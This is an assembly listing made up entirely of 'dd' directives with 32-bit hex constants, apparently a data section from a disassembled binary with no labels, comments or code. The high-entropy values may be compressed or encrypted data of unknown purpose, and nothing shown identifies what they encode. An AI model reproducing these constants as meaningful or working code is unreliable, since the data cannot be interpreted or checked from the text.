		dd 0DB850D41h, 2A2A499h, 0EC62F759h, 0C0F58001h, 43DA48h
		dd 8A5653C5h, 0AC7F6502h, 5019B507h, 6730E8B8h,	1F6F755Bh
		dd 12A25A6h, 98D28B57h,	2BC7CC65h, 4231341Eh, 2A99E9C0h
		dd 0E064939h, 5337DC36h, 75188EE0h, 0D3005A24h,	0E2C1124Ah
		dd 2631402h, 7B3F7C0Fh,	10DF833Ch, 401CA320h, 0A100DED9h
		dd 16EB5F23h, 3B21515Ah, 4B8081A4h, 4C830789h, 370004B1h
		dd 0E7AF32E9h, 744A2D06h, 0A100392h, 0C1D9141Ch, 24FEEBF8h
		dd 4485BA17h, 3DA44D00h, 0E6C25B48h, 11100004h,	7561022Fh
		dd 13EB808h, 4B0C8022h,	0C3032BF5h, 8D1C0093h, 51B71558h
		dd 0D300AC50h, 0BB7656DCh, 732542DEh, 21A30048h, 302708EDh
		dd 4A0094DBh, 3C641A8Bh, 70D0D83Dh, 10C40483h, 0C3306A5Fh
		dd 1DC24689h, 0F6C9C260h, 8A2C4701h, 5B513C97h,	0E0297430h
		dd 0B3A40072h, 0F6F8277h, 9B00236Ch, 0C0AEBBECh, 0AC65FCh
		dd 1DA59D08h, 0B6E3403Ch, 6164700h, 3109F156h, 32F60058h
		dd 4DA49D0Eh, 0AC0071FEh, 0E3910BECh, 10425Bh, 0D5EF77F7h
		dd 0E9E7F97Ah, 0ADE5B600h, 57212ED9h, 6BC000E0h, 3ACBA25Dh
		dd 0D5009DC1h, 82AD3925h, 3644F2h, 0DD6573E8h, 0E3DAA494h
		dd 8CE9B400h, 1F43537Dh
		dd 0C79B00CBh, 0E26D4C46h, 0E500D8DCh, 8B9F5205h, 399E71CCh
		dd 9080E941h, 55FD213Eh, 28774298h, 68083A00h, 9B1037DBh
		dd 7BE80F1Ah, 0DEEED52Eh, 9400B974h, 9779CF04h,	0FD00112Ah
		dd 52744972h, 5F7AF3h, 0D748AD0Eh, 4E247356h, 47596C00h
		dd 0B9EAE0CDh, 983B00CBh, 9C1E516Bh, 30004486h,	61FA69C3h
		dd 67F0E8h, 8907164Fh, 0F19A83CFh, 6D3EF7E0h, 6343007Bh
		dd 49CE6292h, 7DCF00B0h, 6003D32Bh, 0DE0F27BCh,	20206DEDh
		dd 8EC122C6h, 0D0AF0036h, 1F9AF57Bh, 0B13BE8ACh, 74CC8049h
		dd 7F21437Eh, 0B87A002Dh, 0B371BB57h, 68989948h, 910153E8h
		dd 8D7804E6h, 0ACC47C16h, 0E0F200BDh, 50F7CF86h, 0E100D441h
		dd 1616E81h, 0D058FCh, 4B972449h, 52EA1460h, 0B53E3003h
		dd 0E0DC743Fh, 798CEB88h, 0BE1200FBh, 0C5A349A7h, 355B1589h
		dd 0AF06A0h, 815F2458h,	0BF9BC2DEh, 7B4B3906h, 0C1BA0B98h
		dd 360490DCh, 891C466h,	0AE4AB400h, 0D6FE3523h,	8B0E002Dh
		dd 5294F83Ah, 43073049h, 56B1F975h, 0D0579363h,	9E2D2h
		dd 4A2682E8h, 0AE2F06CAh, 5E1E4B01h, 964866E7h,	3E86620h
		dd 34FDF544h, 50013E0Eh, 0A41797D6h, 0E30671Ch,	4A9500E3h
		dd 4F6FBBE2h, 0C2E27951h, 20D02400h, 77DBEA4Bh,	2D5600CBh
		dd 14461D6Eh, 3B7F7327h, 4B165E16h, 0DC38E500h,	1AB19Bh
		dd 0C9F031B8h, 1F6DEB41h, 11C2CC09h, 2A7800D3h,	2C8938CAh
		dd 30E60Fh, 3E651731h, 0C1745EC2h, 0C0B731Ch, 1364CFC0h
		dd 804B8Ch, 3100E1Bh, 0FE081D32h, 0CA54E700h, 557B393Eh
		dd 87B7009Dh, 323749C2h, 9501036Ah, 62C30D10h, 74CC0AFCh
		dd 7B80038h, 9C588FB1h,	819877A8h, 80E6B03Ah, 0A52AB60h
		dd 2DB24Ch, 0BC3168FBh,	2B4B5811h, 8ABB2E00h, 2454411Fh
		dd 0C1B0051h, 1EF2DB63h, 7400440Fh, 876EBE17h, 77F7Ah
		dd 13512545h, 0A83ED9BBh, 2603717Dh, 7C22D406h,	9339A88Bh
		dd 929B004Ch, 7F5F3730h, 0AEFE1180h, 15BDBE00h,	5D90FCA6h
		dd 0F4AAE042h, 922000C4h, 8D866C93h, 481F9483h,	40009077h
		dd 975A7F07h, 0B17FD1h,	0DFEF7062h, 0CEBD95CCh,	370CA707h
		dd 90606976h, 0CADDF1h,	0EF2611B0h, 0A0C2D592h,	0BA00EB90h
		dd 326204ADh, 1E460C64h, 521668EEh, 0C03C1CA2h,	37D12903h
		dd 5F07D8F4h, 0D42E6527h, 7B928DA0h, 81B7587Fh,	4C86900h
		dd 3125D355h, 0B0A7140Eh, 7356AF84h, 0D6812A09h, 0D0D30758h
		dd 0CC67038Ch, 705EE8C8h, 83E99800h, 76CD996h, 2C8B02C5h
		dd 4BED8124h, 0C33D4F50h, 60EC9A55h, 0B834C308h, 0FC0C7Dh
		dd 68A80B2h, 47078846h,	75D2020Fh, 4E164F05h, 0EF73E512h
		dd 2B4A0B28h, 840DC033h, 0B1D6830Fh, 130F5C3Fh,	0F00BC057h
		dd 3E570674h, 718F82Bh,	0A0EBBD5Fh, 3EA7A0B0h, 83EA7260h
		dd 28F0FBE8h, 1020ADB9h, 8B56F0C9h, 0F52B00F7h,	0E95EA4F3h
		dd 2C1FF58h, 8E0C148h, 0E88BB251h, 3DCE315Ah, 73367D0Ch
		dd 50E1A64h, 410E8A1Fh,	88F01040h, 0F8838118h, 0D403777Fh
		dd 15AE02C1h, 0A316FBh,	0E8C0C933h, 83127401h, 0B602D135h
		dd 0FEE71C71h, 83DC5D03h, 0FC998926h, 8C2E061h,	4538799Ch
		dd 6B0E1EE2h, 726E7265h, 7B9D9CACh, 69563E70h, 6175748Fh
		dd 6F1641CCh, 3B0D6356h, 0D6653846h, 3B503E0Ch,	637AFE6Fh
		dd 783F45E0h, 872AC569h, 9E451AE7h, 338C3575h, 291F4D43h
		dd 42C36761h, 8341786Fh, 7270D877h, 746E1969h, 7B4C1466h
		dd 52458D80h, 3C06DD20h, 0D6C4BDF6h, 643E7050h,	5FB8756Fh
		dd 79C64237h, 53BEFF20h, 0EF73251Fh, 0FC3FE271h, 625AD0DFh
		dd 6187A638h, 381EDBE2h, 0E56B7DF7h, 6DFBE379h,	2E6663E3h
		dd 3F0B6B20h, 756D7262h, 27DD7B68h, 1E26D67Bh, 0BC437556h
		dd 0E0C14990h, 0E509D232h, 33181709h, 33FD4702h, 0FEF741F1h
		dd 2398F5D5h, 0C1A16F4Dh, 6148F86Ch, 0AC466E6Fh, 7B4C2741h
		dd 93D2F56Fh, 0B3F6FC53h, 6AA9B48Dh, 15704B8h, 98EFBFh
		dd 0FFFFA899h, 1992h, 0CCB4F7F8h, 4DAD7F49h, 9CC3245Eh
		dd 10D1707Eh, 0C10B8D64h, 809C115Fh, 6FA8E59Dh,	0A80AA3B0h
		dd 906D0490h, 855FC24Ch, 57E2F9F0h, 9FAA5EE7h, 44E3AEB4h
		dd 276117h, 0B892BACDh,	0D29E5EEBh, 4261F2AAh, 32FDA2Ah
		dd 376251F0h, 42B23404h, 970BD42h, 0C933E6B4h, 0B16ABFCh
		dd 9EFD8FECh, 0BBD419CBh, 0F0D6EEDDh, 0F69BCEF1h, 9BE46419h
		dd 326AA0BBh, 0D0E9F6DDh, 0D5CEA6B6h, 99627BF1h, 262FCDD0h
		dd 116AD4B1h, 0E828F331h, 21B33809h, 70AC67CCh,	76A6C44Bh
		dd 82141FE7h, 0FD8B4C11h, 9F5A84BCh, 0F9F7A7B0h, 0A4765071h
		dd 55C93B76h, 0CFF86243h, 0BBB4E72Fh, 0C5CA1392h, 209770DCh
		dd 7D56CAC9h, 9D511ABFh, 36540E20h, 2C322249h, 0F9955888h
		dd 4E015080h, 23055FCBh, 461082B3h, 0BEB0A094h,	5E5018B7h
		dd 79DDFFAEh, 7608C2E5h, 62F0CEF3h, 6A7F0F5h, 7C12AEE6h
		dd 44C31E10h, 0EC8571B2h, 0EE35EC7Eh, 14EF2566h, 3137EC4Ah
		dd 5A3DA0E2h, 0CC5C20FAh, 0E6506065h, 90A6A66Fh, 48310397h
		dd 62EB66B5h, 8D18D5BEh, 27CEEB2Bh, 994E1A6Ch, 0CE383C36h
		dd 94D52C1Fh, 0FFEC6E9Ch, 548AB8Fh, 0BDF4899Fh,	0E5A8F58Eh
		dd 2CF1D2FAh, 0A532CC67h, 0DEF4499Fh, 37F8F71Dh, 6BD2DB77h
		dd 7CE32ED7h, 70EAF3A9h, 4E99FDC6h, 26DB854Dh, 0E7092989h
		dd 0AAC9FAADh, 0A97BB337h, 957190A1h, 5B3CBD77h, 0F623262h
		dd 29451AE5h, 0F55F29EDh, 0E879B090h, 1A5FEB80h, 0F54A367Eh
		dd 6258C885h, 3CE908C5h, 0A25FA1FAh, 973AE6E2h,	5030ED74h
		dd 96E1248Ch, 0AF8BA6FDh, 0FA5196Eh, 783A0A90h,	66E09929h
		dd 637DC888h, 4F2486D3h, 0ABBB9E79h, 84FA7FE6h,	2F5A4C65h
		dd 9DF881D5h, 1AC6A70h,	397F9Eh, 31B60A89h, 8755D571h
		dd 0AEB2DB95h, 97F43437h, 0F5AC6B4Fh, 8E0B508Ah, 0A9CC014Eh
		dd 54485C6Bh, 0C7F3148Bh, 3A90C4F2h, 1481E7ECh,	0B779A8E6h
		dd 0AA9B7F33h, 0CD32F529h, 10FF127Ah, 36A8CE61h, 0F84A9FEh
		dd 42F031A1h, 0F9A37C51h, 0E385C0D6h, 0D4C2253Eh, 9DF8DF92h
		dd 6A4B9DA4h, 5568D643h, 649ED68Fh, 8BF8DEDFh, 0D8955CCCh
		dd 0E629BEFCh, 3107DBF6h, 0F07D698Ch, 1F7D7D58h, 3C7AC99Fh
		dd 0DD165F6Bh, 0CEAE2C99h, 0A4C9C46Eh, 2EE734ADh, 31BB3F61h
		dd 831DB9D9h, 590999CDh, 0BAD907Ch, 0D6E2FC58h,	8653CF50h
		dd 68F2F838h, 8C4168B0h, 21CD2247h, 86868869h, 0EB7628C3h
		dd 9BE2E561h, 0F4999767h, 0CE56A945h, 1946E152h, 0BFF1CD53h
		dd 65012AF0h, 3583285Ah, 60419CDAh, 2BE8C72h, 8BA5B9DEh
		dd 2DA5DC9Fh, 0EA873B55h, 0B41AF8Ch, 0A798F05h,	91F2AF45h
		dd 0AD35D31Ch, 0CC955391h, 83307E62h, 0F2BB83A0h, 0D0BF0629h
		dd 5E47FCCBh, 7C86389Dh, 84D8ECFEh, 0F09AC750h,	0C39B74A9h
		dd 0F5FC8968h, 6B6FAEE5h, 8B7F9AECh, 0A38BAB1Ah, 7ADB7F2Dh
		dd 25BA5B26h, 754FA781h, 58277107h, 0F97B05A1h,	0B0DF767Dh
		dd 0FC63F611h, 0C0E7B070h, 0A0864AA2h, 0D80F8654h, 63E0B3BBh
		dd 1259DC78h, 7D81E62Eh, 0D5667400h, 25978371h,	0FC8B2770h
		dd 35FA25F0h, 237C94Eh,	1CD643BFh, 931957DBh, 13159DD0h
		dd 8BE2B4F0h, 5A2311B7h, 0ACD58F6Bh, 15F32F07h,	0D0363A56h
		dd 4F2F5F5Bh, 17412339h, 0BDDD77ECh, 722E9D89h,	0C26BB501h
		dd 0B36DD792h, 0F22C2765h, 6C205327h, 1D6958A8h, 1C82A471h
		dd 0E9A6CDA8h, 19881965h
		dd 84ACC8F2h, 24E28DABh, 7CA672D1h, 0AFBB24DDh,	399E5C17h
		dd 0CAFCCE0Ch, 51555040h, 7941297Dh, 0BA4B54A9h, 0A952DFC6h
		dd 0B7B701BBh, 3E4791D1h, 0A714E0ABh, 0FC76E1F6h, 57CDFAAFh
		dd 987DB6E9h, 4C6B61C9h, 0F4516375h, 3EEFD9BCh,	8A9F4B71h
		dd 3DF390D7h, 7A450CBFh, 0A72E1619h, 4B6B3EEAh,	0E6FDA3EFh
		dd 0FABE6AD7h, 71AA162Ch, 0C10F3BF2h, 7E67F74Eh, 0F399755h
		dd 1B8AD6CDh, 83F48251h, 7CD21421h, 6E5C9648h, 242061A9h
		dd 0E3A55A7Ch, 9C99E569h, 10EDCF14h, 3B1B1FFFh,	9DC1617Ah
		dd 90251686h, 241528BBh, 3BB19EB2h, 0E3A7436Dh,	0D23A7502h
		dd 5146D918h, 28BED52Ah, 4B53B5B8h, 3493FFD4h, 0F786393h
		dd 528FFB26h, 0B5C3B54Dh, 0F803513Eh, 5A68B966h, 1E7F38C6h
		dd 0ECD72BE7h, 0C0136EEEh, 59A180Dh, 34C7318Dh,	3EB05553h
		dd 0D0CE39B6h, 21FAFEB2h, 0C8F16E1h, 0C9C6D54h,	89A3EBB5h
		dd 6DB6A454h, 8116AF87h, 88E4F122h, 0F86F910Dh,	652EE004h
		dd 0CAEE2C83h, 0C4E74E79h, 5273BA57h, 23253B17h, 0C7D479F6h
		dd 0DA67D712h, 539E8C6Eh, 30F9CEEFh, 53F977A0h,	0DB9D4710h
		dd 0E37835B4h, 5FBBDCD8h, 0BF32854Dh, 0B22CD1F0h, 1ABC0614h
		dd 0C127BB1Ch, 0B8632707h, 363271AFh, 33F0F0B4h, 5648DEC9h
		dd 670FBB1Ch, 0F5D765F0h, 3E3AFD22h, 0C896B810h, 7E067DEAh
		dd 77178672h, 0E46E0659h, 0C6914303h, 0DF02B12Bh, 1BD94E20h
		dd 691B414Ch, 0C92DD99Eh, 93AA313Dh, 0A0489B00h, 69D9CA34h
		dd 0F7BA8460h, 0D3406C0h, 0A918B295h, 5B4D40D4h, 0B0FE450h
		dd 7F56D26Bh, 320D5751h, 869F9164h, 0FD0C52F7h,	1476A550h
		dd 77967503h, 3724F80Eh, 7A42F3CEh, 0C6BE9084h,	57B2C73h
		dd 0E0AD1BDDh, 6D5BBDDEh, 1BA587E5h, 0F29AE18Ch, 120D79Ah
		dd 0EA51DC6h, 0D15222Ah, 4DA1C638h, 7D1441ACh, 1AB880B4h
		dd 0AC88DDC3h, 0F71318EDh, 0E0C255F4h, 0B6230D57h, 95762C08h
		dd 0ABE9ADE1h, 0F7933DD6h, 93F1CD78h, 19AA42A2h, 0B5ADF80Ch
		dd 2A9B063Eh, 8B9E9CC2h, 13835ADBh, 5ED8890Eh, 0C1688C87h
		dd 0FC35E5C1h, 0C2E3594Ch, 0B4BC1092h, 0A2166CD4h, 130C522Eh
		dd 0FA24F910h, 19DBFE02h, 0A50368A1h, 2D0BEE7Ah, 9564477Ch
		dd 0AF828F2Eh, 0B7331EAEh, 0DDDEF8B4h, 7ABAA7DBh, 0FD02D9FBh
		dd 0C4266650h, 0B36390C1h, 0C81AF00h, 510E804Ch, 42489C30h
		dd 56A4B1B9h, 5C138180h, 0F53AA0DBh, 4F05388h, 0E774E3Eh
		dd 5AAEDE6h, 0D7B412DFh, 0ABED0955h, 488396BFh,	8AEFF9F2h
		dd 98697FB0h, 0F3EDB577h, 0CFEA77D2h, 572EA08Dh, 0A8048AC0h
		dd 8B94DE67h, 6F2F10F7h, 15FF3B5h, 64D60D79h, 128BBFDBh
		dd 0D44C354Ah, 0D6C214E6h, 0AF00BCBEh, 663843F8h, 0D86DAFCAh
		dd 6EF33809h, 3121AC1h,	2D001BCBh, 38468FCFh, 0A892268Fh
		dd 76DFDEC3h, 0D3F3329Bh, 5B582E18h, 94CA8A7Bh,	7BEE86A5h
		dd 4AF42B6Dh, 91D317F0h, 2E51127Dh, 696FC46Bh, 5781C6EFh
		dd 5D626FE9h, 0E96D06FDh, 6DA9C574h, 0DBB9D2Dh,	0A07C7DA9h
		dd 4100C1FAh, 0A5E89840h, 8351273Ch, 0BE2BC0B5h, 20DF8382h
		dd 84DB705Bh, 3C67518h,	3472B1F4h, 36F43421h, 0D8867A09h
		dd 0E99B7C7Ah, 5002F2F3h, 0F052D3E5h, 0A9B72731h, 810FACE0h
		dd 0DE1A7EFEh, 3AE4F74Fh, 1BB0FD51h, 75711BF4h,	99815B0Eh
		dd 0B5E63F8Ch, 0C70AE00Fh, 0C170FE3Ch, 9FCE0F0Fh, 0C46A32B4h
		dd 0A76D6734h, 58EC18CBh, 0A479DA81h, 0DCBE1943h, 2EEDB31Bh
		dd 26454886h, 63195129h, 0D488E664h, 80781488h,	8D462510h
		dd 1DE6DED9h, 257F6AD1h, 9DBBDAE4h, 81AFBCC9h, 8958D5ECh
		dd 4A000E92h, 2AD7AF58h, 0C9A0FB3Eh, 0E582C2B2h, 0D32551C9h
		dd 2934867Dh, 0B4166AB1h, 0E1BF33AFh, 0E844E70h, 74D8D8E9h
		dd 5B91AB41h, 0DA7BA369h, 0AC6E5DEBh, 0F2F7E109h, 0C504C2C9h
		dd 0F5FFED82h, 0BD26A4FBh, 0FEF67390h, 4B2ABFFh, 1AEA6DCBh
		dd 0FD87B834h, 64FC71EAh, 4B6F624Fh, 86877346h,	0FB0A1789h
		dd 0A160F3A9h, 0D66FEF24h, 5E7B3CAh, 0B39CF7FBh, 2465DE2Ah
		dd 4B438BD6h, 3699FBF1h, 0D9426152h, 1DD206F2h,	0CF58A96Ch
		dd 0D24CF978h, 1670DAE9h, 0FE9F85BEh, 3985ADB0h, 0F0F0730Ah
		dd 0DFA6560Fh, 0AB3D880Fh, 253915F9h, 0E22F2BC7h, 4E057F8Dh
		dd 810F48Ah, 0F1634014h, 25E17822h, 9DA19AF5h, 1B8B20Ah
		dd 0F70D6CBBh, 0E6D7BA4h, 1896F14Ch, 0C718FBE9h, 75D076E0h
		dd 7AA64DF4h, 0D3295557h, 188AC4B8h, 0C1B55C3Bh, 4282CB00h
		dd 4A1C0CFEh, 0F0E96487h, 3809E91Eh, 0BECE7760h, 45E7F3F6h
		dd 0F8959C7Bh, 4891A27Bh, 0E54C058h, 0D6D47F47h, 2BADB469h
		dd 501C166Bh, 41F6FD2Dh, 0FF607891h, 85F5F0F2h,	4932AAE8h
		dd 10CA0D24h, 4580B1CEh, 0C20F982Bh, 0BC461CCDh, 411F14BBh
		dd 314BCC07h, 6423EA05h, 0FCF70EEEh, 0E1FC092Eh, 38D2AB9h
		dd 945ECCB3h, 6DCF5010h, 0D1BB5AD7h, 95081D8Bh,	594ECF26h
		dd 4D63226Dh, 14B6284h,	50D617DFh, 774C0360h, 8A11A085h
		dd 23009FABh, 73EC9195h, 24C532BBh, 67A429AFh, 0C82A644Eh
		dd 47B3F402h, 9526034Bh, 78AC27BBh, 3222727Ah, 5B235881h
		dd 6C5097EDh, 96498EBBh, 157A8A4Eh, 0C35284C8h,	0A61F08AAh
		dd 0B5883BA7h, 0B659F136h, 0D583F83Eh, 1C187014h, 0D95961D1h
		dd 2CA7771h, 0D001F8D9h, 0E6CAE958h, 293751FCh,	0F276841Ch
		dd 456B0638h, 259383FAh, 956082F5h, 5652980Eh, 82FEF5A3h
		dd 0A4270195h, 7FD1C3BDh, 0D0707B9Ch, 0C0839461h, 0D6C6F9A9h
		dd 0BA8F256Ah, 66BEA756h, 9EB69D68h, 0B9FABBF9h, 0AD4A8A2Bh
		dd 0B777DC29h, 0BE4BBF1Ch, 0B3E782A9h, 0EB6F8DEEh, 7849B8F1h
		dd 7AC528FAh, 0D2395627h, 0A1705305h, 3F5305A9h, 0DE023030h
		dd 425B1DBFh, 83D8832Dh, 0F8A1049Eh, 0EF3B7432h, 53C03EA9h
		dd 41DD0C0h, 4B92DEFEh,	61249DBEh, 0E4FE9B71h, 0F5DCF0D6h
		dd 0F9390787h, 426E70C7h, 0ACB28A83h, 0BC22BED3h, 7531609Ah
		dd 0EC09A08Fh, 763B6A86h, 13F9C0h, 60F7935Ch, 27034A1Fh
		dd 6E64D1A2h, 169D6536h, 0F983F362h, 0D2C5C2F6h, 0ED0506Ch
		dd 952E1763h, 15132B37h, 0F6ACF379h, 0D3169831h, 23B1D37h
		dd 0B9104D07h, 41DA51B6h, 1D588EA9h, 2D2F9C2Fh,	0A1855116h
		dd 0C1E9B29Bh, 0E045471Fh, 0F7484B47h, 9762E19Fh, 1E7E37E2h
		dd 33637EE8h, 0D435D985h, 6BF2BA61h, 0CBD0FC54h, 0F9875542h
		dd 0C5C70D95h, 0E816BBA0h, 84A4C09Eh, 2C77D0EFh, 2E502AB0h
		dd 0F095CF05h, 0AA21AD77h, 0DDDF0CEDh, 4B799D32h, 5C13B6BCh
		dd 3E44AA5Ah, 0FB50BDA7h, 621D8781h, 0D3D0BB0Dh, 0A0CFB9BEh
		dd 0E04D614Dh, 19EC2FA5h, 76B04254h, 5BF687C1h,	2B677C5Dh
		dd 0A8D7C9D5h, 0C207AD87h, 316FAC1Dh, 244163E2h, 0B90D7F0Ch
		dd 8FBB8E47h, 9FAA4E36h, 0EBCB20B8h, 7C3FA93Ch,	6263C0Ah
		dd 82A9F9A8h, 79916BD5h, 0B68F1A82h, 0AD5206FCh, 940120F2h
		dd 6FC2089Ch, 1CC83F9h,	0C04295B1h, 0E5550F27h,	0AF7842B8h
		dd 66F57C20h, 5687E1E4h, 0ECA0F50h, 9939E96Eh, 5A60C71Eh
		dd 380F3F11h, 0CE20A266h, 0B4AA242Bh, 0D9E8005Ah, 706F441Dh
		dd 0E5B2EEFh, 0A00BC3E9h, 0A5454398h, 0D98E9FB2h, 8FCDB0A5h
		dd 3B818F1Ch, 9C889480h, 0E0166CF0h, 0D15720AEh, 0E7485FEEh
		dd 0BEE04430h, 9343B813h, 0BDE2AA21h, 0BF3F00E8h, 43FD611Eh
		dd 981ACDAAh, 9956F532h, 157EF269h, 655381F1h, 42E5381Ah
		dd 7D8DE673h, 4922F744h
		dd 0F1728731h, 6A31E983h, 1BBA9865h, 34A17AA1h,	8503407h
		dd 6D1F8A81h, 0A9DEA4E9h, 413F36A4h, 5AA88E5Eh,	0CECCE62Fh
		dd 7D18CC86h, 1499A699h, 15D8925Ch, 49C0470Ch, 0BAB3EEB9h
		dd 39A6EF36h, 53ED15B2h, 0AFD64128h, 0D2C72D33h, 0F244FB63h
		dd 66B423AFh, 913480F2h, 6527EDC2h, 0C9B745CCh,	0A854B201h
		dd 0F05CA8FCh, 0B905D807h, 0A63F1FDCh, 4A0AE1E8h, 57126A23h
		dd 7AE5CE3Eh, 1786936Ah, 0AFBB301h, 9EDFC9F1h, 22C7C313h
		dd 38982167h, 1DE5660h,	6E882DE8h, 72B47234h, 72F9AF8Dh
		dd 74E51589h, 9A5D3A3Bh, 82D0DF78h, 0D22C5F7Eh,	0F7CEEDABh
		dd 116ECFC9h, 64D7F5F1h, 6F9E3F01h, 0CBE608C1h,	254DF9C1h
		dd 0ED930918h, 0A39E5992h, 648EAB5Bh, 0E9CB6134h, 31168BF3h
		dd 4CC6ED2Bh, 0EF8264D7h, 0FEA2B16Ch, 0D9D1FF97h, 0EDA51F69h
		dd 0DF1C3DC2h, 0D50FDE8Bh, 50EB24F5h, 0D707D1ABh, 8425BD2Bh
		dd 0F219CECAh, 0ADFE5669h, 47D92B0h, 0B28BE95Fh, 556FFA46h
		dd 0A009DD6Bh, 93891596h, 55083D30h, 61C31237h,	7211FB20h
		dd 0C7D30677h, 97309B5Ah, 566B64C4h, 0A3FBAD3Dh, 0ABB1277Bh
		dd 0D355A077h, 82C20926h, 55D13816h, 344127ECh,	30DAC2BEh
		dd 2ACAC9CFh, 2F8D4B6Dh, 5F4C2E83h, 44A28580h, 498A8F78h
		dd 8FDDE770h, 13470D72h, 0EEB7846Eh, 0A78AA60Bh, 0E3EAAF71h
		dd 90F78CBEh, 4A6E3915h, 49D61DEBh, 58B39CF4h, 0BF58992Dh
		dd 66CBD9FBh, 4C82CCC3h, 0F332AA27h, 0D2492123h, 48568A4Ch
		dd 545B26D2h, 9B8DB26Fh, 97962CC9h, 0C056E386h,	0D20E2C52h
		dd 0F01A1937h, 5B940546h, 1D7C404Ch, 0B3BE005Bh, 7A85DDE3h
		dd 0B5C646BEh, 8E677205h, 3B43B9D6h, 0F1B310DAh, 0E1E0297h
		dd 7AE3FD44h, 73B32CC2h, 0A6C9C1Dh, 5D276627h, 0DBFB4D73h
		dd 29097256h, 0A853FB49h, 57CE7548h, 3D06BCEEh,	63A4C05h
		dd 763EF929h, 67CDE64Fh, 0C08B8D9Bh, 0C89CD5B9h, 0E04D9D0Bh
		dd 5CA21F9Fh, 3E9E9E37h, 0FC8C48F8h, 748CE6F6h,	57F95B20h
		dd 15E4C1B8h, 0FF43AD82h, 0A7431217h, 0C4889996h, 5184FA13h
		dd 2BA8B0h, 62E8C437h, 0DC3414F9h, 2F175E2Bh, 0D7F160BCh
		dd 0F7098343h, 8734E74Eh, 0FA518972h, 4811DDF9h, 686B20E6h
		dd 952FC250h, 123979B5h, 1588C1E4h, 50CF29CFh, 8FE780A7h
		dd 4BA05526h, 7A9DC91Ah, 0EC0F10E7h, 8DE283D5h,	0B6B41C9h
		dd 2EE232C8h, 0C2B4C037h, 0BC2EA46h, 1E5CA095h,	4BA236Ah
		dd 5EF4602Dh, 8800532h,	7F970AC9h, 0BA98114Eh, 0DC99E4E4h
		dd 0A06D1AE0h, 8A107A2Eh, 77B672DFh, 0A3143AEh,	0E773D54Ch
		dd 537E4E00h, 2E7ABB72h, 0FDB70CDCh, 3F4A104Eh,	287AF0C2h
		dd 0F20D7E3Fh, 32A9BEAh, 26AF1E00h, 0DC519697h,	0C5852D2Ch
		dd 1C80360Fh, 7A1673BBh, 3022448Ah, 0A5D96188h,	3037F88Ch
		dd 0BEB5AC36h, 52321015h, 0EDCE6B2Eh, 68685E37h, 0B4AE76FDh
		dd 90040A36h, 36F3F905h, 2717D44Ah, 56EB0C1Eh, 4C544396h
		dd 0A0E0E864h, 68E117F5h, 34D92B23h, 8BB46DB0h,	3037E115h
		dd 0BFC28D57h, 79B2CD75h, 0C5B0ED56h, 56CCA9C0h, 4D8EF1EEh
		dd 0AA2852CDh, 0F8647DCCh, 8427EC00h, 68B17A44h, 1466E7E6h
		dd 0D50B0629h, 7A4CF75h, 0E8CF72ACh, 350A7CD7h,	1AE847FDh
		dd 160DF974h, 0D954B952h, 2AAB05C2h, 4AF36770h,	97D45EC1h
		dd 0C0A37BEFh, 0A9927A68h, 7DCDC2E6h, 2AFE50EEh, 5ACF4F2Bh
		dd 0CE08EF72h, 0C639CF42h, 6B7F71CFh, 4AC71B2Ah, 5DAF1AFDh
		dd 0A9E9D0Dh, 756FC42Ch, 0D7AB2B20h, 0A61A4946h, 0BDA15E9Fh
		dd 986297A0h, 782A23C1h, 62C0514Bh, 0D2B60029h,	0E71EA2F0h
		dd 0EB62B592h, 1476DF38h, 2777AE5Eh, 0C17420FDh, 7FB4F80Fh
		dd 2B1E0D60h, 5C0CE957h, 2B1E0F4Eh, 0F4D9C001h,	0E5C8E9E5h
		dd 0F6159154h, 7FF6FB7Ah, 0D2C17209h, 13C228E2h, 0C244ADC1h
		dd 99FCA21Eh, 0FA61D094h, 9630F6D0h, 0BA723EF4h, 0CFE12A9Dh
		dd 502B82B8h, 77404804h, 5386AACFh, 0D15778E6h,	61258CF9h
		dd 2EC507BBh, 92E384F4h, 90F1DDDFh, 0B5E0098Eh,	15C709B7h
		dd 0B727B396h, 0F7909724h, 789853BCh, 8809E9DEh, 80B1F7h
		dd 0F2E715AFh, 0FFEC6256h, 70EF37A5h, 645C036Ch, 0CD6C524Ah
		dd 0E46873B6h, 1CE62F9Fh, 47323Fh, 4FC11DA4h, 0FB246BB2h
		dd 39447ECCh, 6E9A0523h, 0A41F70D9h, 2956A2F1h,	7C593E66h
		dd 0F4126F72h, 936D67D4h, 31F51D18h, 0F081EEA8h, 0ADA60B69h
		dd 0FD66A2AAh, 2236CE3h, 0AC2BA53Bh, 96125794h,	1EBCD458h
		dd 0FB294DF3h, 0B3825A5h, 7327BFDEh, 0A1B2B005h, 45C6EE8Fh
		dd 0E59B2AE2h, 4731E92Bh, 94458DEAh, 17F5A215h,	16C5997Eh
		dd 0C0CE70FDh, 0C0AC06E8h, 802CCB88h, 0B0816218h, 0D7CFDC98h
		dd 4D381B0Fh, 9EB2B160h, 0C76108BCh, 0F18C7BBEh, 91250B46h
		dd 628A4E98h, 0AE0DBC32h, 7FF01D34h, 1C05C730h,	607ECFADh
		dd 20B89A0h, 582DE3CAh,	92485090h, 12EC2E1h, 0DB6E891Dh
		dd 0E0FC0D9Ah, 0F4959AEEh, 7D245F75h, 1A1998FFh, 8E6227EEh
		dd 59B98FCCh, 2758F770h, 0EDB3A9CBh, 4E560106h,	0A603A482h
		dd 5D60DF6Bh, 6EEEB3BDh, 0C51F86DBh, 0DD697B50h, 1FC8178Ah
		dd 49A891B9h, 5FF7CAECh, 8E3068B6h, 0B52F3A9Bh,	0C6A999CBh
		dd 0B79F3013h, 3EDE33A2h, 7778F555h, 1DB973B9h,	0D7B93F70h
		dd 0E7A4D39Fh, 0B724EBD7h, 48550AADh, 0ADA53F81h, 0A527DB6Ah
		dd 8CAC0C62h, 0C71C2906h, 0D27E3771h, 670F9441h, 0C9DEA872h
		dd 82FC89F1h, 0B25D9429h, 93875C54h, 334AE54Bh,	10C703D7h
		dd 720B240Ah, 0E381605Eh, 10EF6A1Eh, 1C951FDEh,	0BC67F711h
		dd 0BC145A57h, 0E5F4DAEFh, 4C6E1348h, 412C1CE0h, 0D9F79FBh
		dd 359DF5BAh, 99F27C03h, 75ECEEF9h, 0E76E1336h,	8A38CE63h
		dd 0B88B0536h, 7B515A2Eh, 0AD6311C8h, 0A3D0E0F7h, 0EC352047h
		dd 765FD5DBh, 0D97339B5h, 6DA4849Eh, 5DB2A4E0h,	0BD2EECFCh
		dd 0C5AE5D5Ah, 10190CFDh, 0E7980F75h, 2628384Dh, 757131D5h
		dd 9768E455h, 0B1355543h, 0CFA9CF8Dh, 0BB521D3Bh, 0B321005Bh
